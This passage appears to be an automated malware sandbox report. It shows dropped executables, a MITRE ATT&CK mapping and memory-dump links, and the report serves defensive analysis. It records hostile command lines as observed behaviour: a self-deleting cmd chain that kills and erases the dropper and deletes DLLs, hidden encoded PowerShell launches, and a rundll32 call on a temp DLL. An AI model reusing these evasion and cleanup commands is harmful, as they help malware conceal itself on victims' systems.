- C:\Users\Admin\Pictures\Adobe Films\pMf89HmPZkRLNRmW39iYKLfX.exe
  "C:\Users\Admin\Pictures\Adobe Films\pMf89HmPZkRLNRmW39iYKLfX.exe"
  2⤵
  - Executes dropped EXE
  PID:5032
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 5032 -s 464
    3⤵
    - Program crash
    PID:5364
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 5032 -s 484
    3⤵
    - Program crash
    PID:5732
- C:\Users\Admin\Pictures\Adobe Films\dommYsXQH2KxWi_HOaOsVmch.exe
  "C:\Users\Admin\Pictures\Adobe Films\dommYsXQH2KxWi_HOaOsVmch.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of AdjustPrivilegeToken
  PID:5040
- C:\Users\Admin\Pictures\Adobe Films\oLuSDWim9mVUo9_uHKWcFjpT.exe
  "C:\Users\Admin\Pictures\Adobe Films\oLuSDWim9mVUo9_uHKWcFjpT.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of AdjustPrivilegeToken
  PID:1128
- C:\Users\Admin\Pictures\Adobe Films\XtTw5IV_oa6Y9bNDX7sDUvuS.exe
  "C:\Users\Admin\Pictures\Adobe Films\XtTw5IV_oa6Y9bNDX7sDUvuS.exe"
  2⤵
  - Executes dropped EXE
  PID:4444
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c taskkill /im XtTw5IV_oa6Y9bNDX7sDUvuS.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Pictures\Adobe Films\XtTw5IV_oa6Y9bNDX7sDUvuS.exe" & del C:\ProgramData\*.dll & exit
    3⤵
    PID:6348
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /im XtTw5IV_oa6Y9bNDX7sDUvuS.exe /f
      4⤵
      Kills process with taskkill
      PID:6608
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 6
      4⤵
      Delays execution with timeout.exe
      PID:5556
- C:\Users\Admin\Pictures\Adobe Films\HLjb8AMsXcS_VC7YZ7rWbaPn.exe
  "C:\Users\Admin\Pictures\Adobe Films\HLjb8AMsXcS_VC7YZ7rWbaPn.exe"
  2⤵
  - Executes dropped EXE
  PID:1108
- - C:\Users\Admin\AppData\Local\Temp\DAVAIBABKI.exe
    "C:\Users\Admin\AppData\Local\Temp\DAVAIBABKI.exe"
    3⤵
    PID:6312

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 464 -p 400 -ip 400
1⤵
PID:3080

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 2232 -ip 2232
1⤵
PID:4736

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 484 -p 5112 -ip 5112
1⤵
PID:3868

C:\Windows\SysWOW64\svchost.exe
"C:\Windows\System32\svchost.exe"
1⤵
PID:5184

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 5032 -ip 5032
1⤵
PID:1780

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 628 -p 5112 -ip 5112
1⤵
PID:4252

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 612 -p 2232 -ip 2232
1⤵
PID:4228

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
1⤵
PID:6060

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 428 -p 400 -ip 400
1⤵
PID:5480

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 416 -p 5032 -ip 5032
1⤵
PID:1960

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 628 -p 1032 -ip 1032
1⤵
PID:5912

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 584 -p 4632 -ip 4632
1⤵
PID:6104

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 5724 -ip 5724
1⤵
PID:5980

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 636 -p 1032 -ip 1032
1⤵
PID:4848

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 416 -p 1032 -ip 1032
1⤵
PID:5464

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 636 -p 1032 -ip 1032
1⤵
PID:4584

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 576 -p 4348 -ip 4348
1⤵
PID:5416

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 620 -p 1032 -ip 1032
1⤵
PID:6196

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 668 -p 4632 -ip 4632
1⤵
PID:6708

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 620 -p 4348 -ip 4348
1⤵
PID:6948

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 572 -p 1032 -ip 1032
1⤵
PID:7064

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 680 -p 4632 -ip 4632
1⤵
PID:6688

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
1⤵
PID:6752

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 680 -p 4348 -ip 4348
1⤵
PID:6812

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 596 -p 1032 -ip 1032
1⤵
PID:6900

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 572 -p 6192 -ip 6192
1⤵
PID:4576

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 604 -p 4632 -ip 4632
1⤵
PID:2376

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 700 -p 4348 -ip 4348
1⤵
PID:5816

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 588 -p 1032 -ip 1032
1⤵
PID:7132

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 4348 -ip 4348
1⤵
- Executes dropped EXE
PID:3248

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\db.dll",global
1⤵
- Process spawned unexpected child process
PID:620
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\db.dll",global
  2⤵
  PID:604
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 604 -s 604
    3⤵
    - Program crash
    PID:6080

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 540 -p 4632 -ip 4632
1⤵
PID:448

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 524 -p 6908 -ip 6908
1⤵
PID:5520

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 720 -p 604 -ip 604
1⤵
PID:5688

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 528 -p 2376 -ip 2376
1⤵
PID:804

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 620 -p 4632 -ip 4632
1⤵
PID:5888

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
1⤵
PID:6668

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 604 -p 2072 -ip 2072
1⤵
PID:1032

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 4348 -ip 4348
1⤵
PID:6184

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 712 -p 4204 -ip 4204
1⤵
PID:6728

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 2912 -ip 2912
1⤵
PID:6892

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Modify Existing Service

T1031

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Disabling Security Tools

T1089

Install Root Certificate

T1130

Modify Registry

T1112

Web Service

T1102

Credential Access

Credentials in Files

T1081

Discovery

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/400-181-0x00000000020D0000-0x0000000002130000-memory.dmp

Download

memory/1032-230-0x0000000000728000-0x0000000000750000-memory.dmp

Download

memory/1108-203-0x0000000000F70000-0x0000000000F90000-memory.dmp

Download

memory/1108-280-0x0000000005D30000-0x0000000006348000-memory.dmp

Download

memory/1108-289-0x00000000058F0000-0x00000000059FA000-memory.dmp

Download

memory/1128-204-0x0000000000760000-0x0000000000919000-memory.dmp

Download

memory/1128-161-0x0000000000710000-0x0000000000756000-memory.dmp

Download

memory/1128-171-0x0000000000A20000-0x0000000000A21000-memory.dmp

Download

memory/1128-210-0x0000000000760000-0x0000000000919000-memory.dmp

Download

memory/1128-236-0x0000000002CE0000-0x0000000002CE1000-memory.dmp

Download

memory/1128-175-0x0000000076530000-0x0000000076745000-memory.dmp

Download

memory/1128-221-0x0000000070FD0000-0x0000000071059000-memory.dmp

Download

memory/1128-168-0x0000000000760000-0x0000000000919000-memory.dmp

Download

memory/1128-235-0x0000000004F90000-0x0000000004F91000-memory.dmp

Download

memory/1128-271-0x0000000076BF0000-0x00000000771A3000-memory.dmp

Download

memory/1128-190-0x0000000000760000-0x0000000000919000-memory.dmp

Download

memory/1128-193-0x0000000072BB0000-0x0000000073360000-memory.dmp

Download

memory/1128-179-0x0000000000760000-0x0000000000919000-memory.dmp

Download

memory/1272-194-0x0000000072BB0000-0x0000000073360000-memory.dmp

Download

memory/1272-233-0x00000000049E0000-0x00000000049E1000-memory.dmp

Download

memory/1272-214-0x0000000000190000-0x00000000001AA000-memory.dmp

Download

memory/1944-134-0x0000000004260000-0x000000000441E000-memory.dmp

Download

memory/2072-226-0x0000000004C20000-0x00000000051C4000-memory.dmp

Download

memory/2072-234-0x0000000000580000-0x0000000000680000-memory.dmp

Download

memory/2316-215-0x0000000000550000-0x0000000000551000-memory.dmp

Download

memory/2316-223-0x0000000000400000-0x000000000050F000-memory.dmp

Download

memory/2316-227-0x0000000000400000-0x000000000050F000-memory.dmp

Download

memory/2316-201-0x00000000005B0000-0x00000000005F4000-memory.dmp

Download

memory/2316-213-0x0000000000400000-0x000000000050F000-memory.dmp

Download

memory/2316-216-0x0000000000400000-0x000000000050F000-memory.dmp

Download

memory/2912-225-0x0000000002470000-0x0000000002471000-memory.dmp

Download

memory/2912-224-0x0000000072BB0000-0x0000000073360000-memory.dmp

Download

memory/2912-228-0x00000000020B0000-0x00000000020E7000-memory.dmp

Download

memory/2912-219-0x0000000000578000-0x00000000005A2000-memory.dmp

Download

memory/2912-286-0x0000000002680000-0x0000000002692000-memory.dmp

Download

memory/2912-209-0x0000000000578000-0x00000000005A2000-memory.dmp

Download

memory/3044-331-0x0000000074390000-0x00000000743DC000-memory.dmp

Download

memory/3044-205-0x00000000005B0000-0x0000000000731000-memory.dmp

Download

memory/3044-189-0x00000000005B0000-0x0000000000731000-memory.dmp

Download

memory/3044-165-0x0000000000B20000-0x0000000000B66000-memory.dmp

Download

memory/3044-170-0x00000000005B0000-0x0000000000731000-memory.dmp

Download

memory/3044-270-0x0000000076BF0000-0x00000000771A3000-memory.dmp

Download

memory/3044-211-0x00000000005B0000-0x0000000000731000-memory.dmp

Download

memory/3044-172-0x00000000007E0000-0x00000000007E1000-memory.dmp

Download

memory/3044-192-0x0000000072BB0000-0x0000000073360000-memory.dmp

Download

memory/3044-220-0x0000000070FD0000-0x0000000071059000-memory.dmp

Download

memory/3044-196-0x00000000005B0000-0x0000000000731000-memory.dmp

Download

memory/3044-178-0x0000000076530000-0x0000000076745000-memory.dmp

Download

memory/3248-281-0x0000000002194000-0x0000000002225000-memory.dmp

Download

memory/3248-287-0x0000000002230000-0x000000000234B000-memory.dmp

Download

memory/4444-222-0x0000000000400000-0x00000000004D1000-memory.dmp

Download

memory/4444-218-0x000000000084D000-0x00000000008B9000-memory.dmp

Download

memory/4444-229-0x0000000002280000-0x000000000232C000-memory.dmp

Download

memory/4444-208-0x000000000084D000-0x00000000008B9000-memory.dmp

Download

memory/4632-247-0x0000000002303000-0x00000000023E7000-memory.dmp

Download

memory/4632-253-0x0000000000400000-0x0000000000642000-memory.dmp

Download

memory/4632-241-0x0000000000400000-0x0000000000642000-memory.dmp

Download

memory/4632-239-0x00000000023F0000-0x0000000002625000-memory.dmp

Download

memory/5040-212-0x0000000070FD0000-0x0000000071059000-memory.dmp

Download

memory/5040-195-0x0000000072BB0000-0x0000000073360000-memory.dmp

Download

memory/5040-173-0x00000000012A0000-0x00000000012A1000-memory.dmp

Download

memory/5040-158-0x0000000002EE0000-0x0000000002F26000-memory.dmp

Download

memory/5040-169-0x0000000000580000-0x0000000000701000-memory.dmp

Download

memory/5040-184-0x0000000076530000-0x0000000076745000-memory.dmp

Download

memory/5040-186-0x0000000000580000-0x0000000000701000-memory.dmp

Download

memory/5040-185-0x00000000012D0000-0x00000000012D1000-memory.dmp

Download

memory/5040-273-0x0000000076BF0000-0x00000000771A3000-memory.dmp

Download

memory/5040-250-0x0000000005970000-0x0000000005971000-memory.dmp

Download

memory/5040-202-0x0000000000580000-0x0000000000701000-memory.dmp

Download

memory/5040-200-0x0000000000580000-0x0000000000701000-memory.dmp

Download

memory/5112-206-0x0000000002080000-0x00000000020E0000-memory.dmp

Download

memory/5456-240-0x0000000010000000-0x00000000105A8000-memory.dmp

Download

memory/5504-261-0x0000000072BB0000-0x0000000073360000-memory.dmp

Download

memory/5504-263-0x0000000070FD0000-0x0000000071059000-memory.dmp

Download

memory/5504-258-0x0000000000B90000-0x0000000000CB4000-memory.dmp

Download

memory/5504-330-0x0000000074390000-0x00000000743DC000-memory.dmp

Download

memory/5504-244-0x0000000000DF0000-0x0000000000DF1000-memory.dmp

Download

memory/5504-246-0x0000000000B90000-0x0000000000CB4000-memory.dmp

Download

memory/5504-243-0x0000000000B90000-0x0000000000CB4000-memory.dmp

Download

memory/5504-252-0x0000000076530000-0x0000000076745000-memory.dmp

Download

memory/5504-277-0x0000000076BF0000-0x00000000771A3000-memory.dmp

Download

memory/5504-256-0x0000000000B90000-0x0000000000CB4000-memory.dmp

Download

memory/5584-296-0x0000000070FD0000-0x0000000071059000-memory.dmp

Download

memory/5584-285-0x0000000000220000-0x000000000033E000-memory.dmp

Download

memory/5584-272-0x0000000076530000-0x0000000076745000-memory.dmp

Download

memory/5584-310-0x0000000076BF0000-0x00000000771A3000-memory.dmp

Download

memory/5584-290-0x0000000000220000-0x000000000033E000-memory.dmp

Download

memory/5584-254-0x0000000002E40000-0x0000000002E86000-memory.dmp

Download

memory/5584-293-0x0000000072BB0000-0x0000000073360000-memory.dmp

Download

memory/5584-257-0x0000000000220000-0x000000000033E000-memory.dmp

Download

memory/5584-260-0x0000000002E90000-0x0000000002E91000-memory.dmp

Download

memory/5672-283-0x0000000076530000-0x0000000076745000-memory.dmp

Download

memory/5672-264-0x0000000002AB0000-0x0000000002AF6000-memory.dmp

Download

memory/5672-266-0x0000000000220000-0x000000000033E000-memory.dmp

Download

memory/5672-269-0x0000000001040000-0x0000000001041000-memory.dmp

Download

memory/5672-315-0x0000000076BF0000-0x00000000771A3000-memory.dmp

Download

memory/5672-304-0x0000000070FD0000-0x0000000071059000-memory.dmp

Download

memory/5672-274-0x0000000000220000-0x000000000033E000-memory.dmp

Download

memory/5672-295-0x0000000000220000-0x000000000033E000-memory.dmp

Download

memory/5724-284-0x0000000000400000-0x0000000000537000-memory.dmp

Download

memory/5724-267-0x0000000000400000-0x0000000000537000-memory.dmp

Download

memory/5724-276-0x0000000000400000-0x0000000000537000-memory.dmp

Download

memory/5776-312-0x0000000076530000-0x0000000076745000-memory.dmp

Download

memory/5776-301-0x0000000000DA0000-0x0000000000DA1000-memory.dmp

Download

memory/5776-298-0x0000000002710000-0x0000000002756000-memory.dmp

Download

memory/5776-332-0x0000000070FD0000-0x0000000071059000-memory.dmp

Download

memory/5776-299-0x0000000000400000-0x0000000000677000-memory.dmp

Download

memory/5856-307-0x0000000076530000-0x0000000076745000-memory.dmp

Download

memory/5856-297-0x00000000009A0000-0x00000000009A1000-memory.dmp

Download

memory/5856-320-0x0000000070FD0000-0x0000000071059000-memory.dmp

Download

memory/5856-326-0x0000000076BF0000-0x00000000771A3000-memory.dmp

Download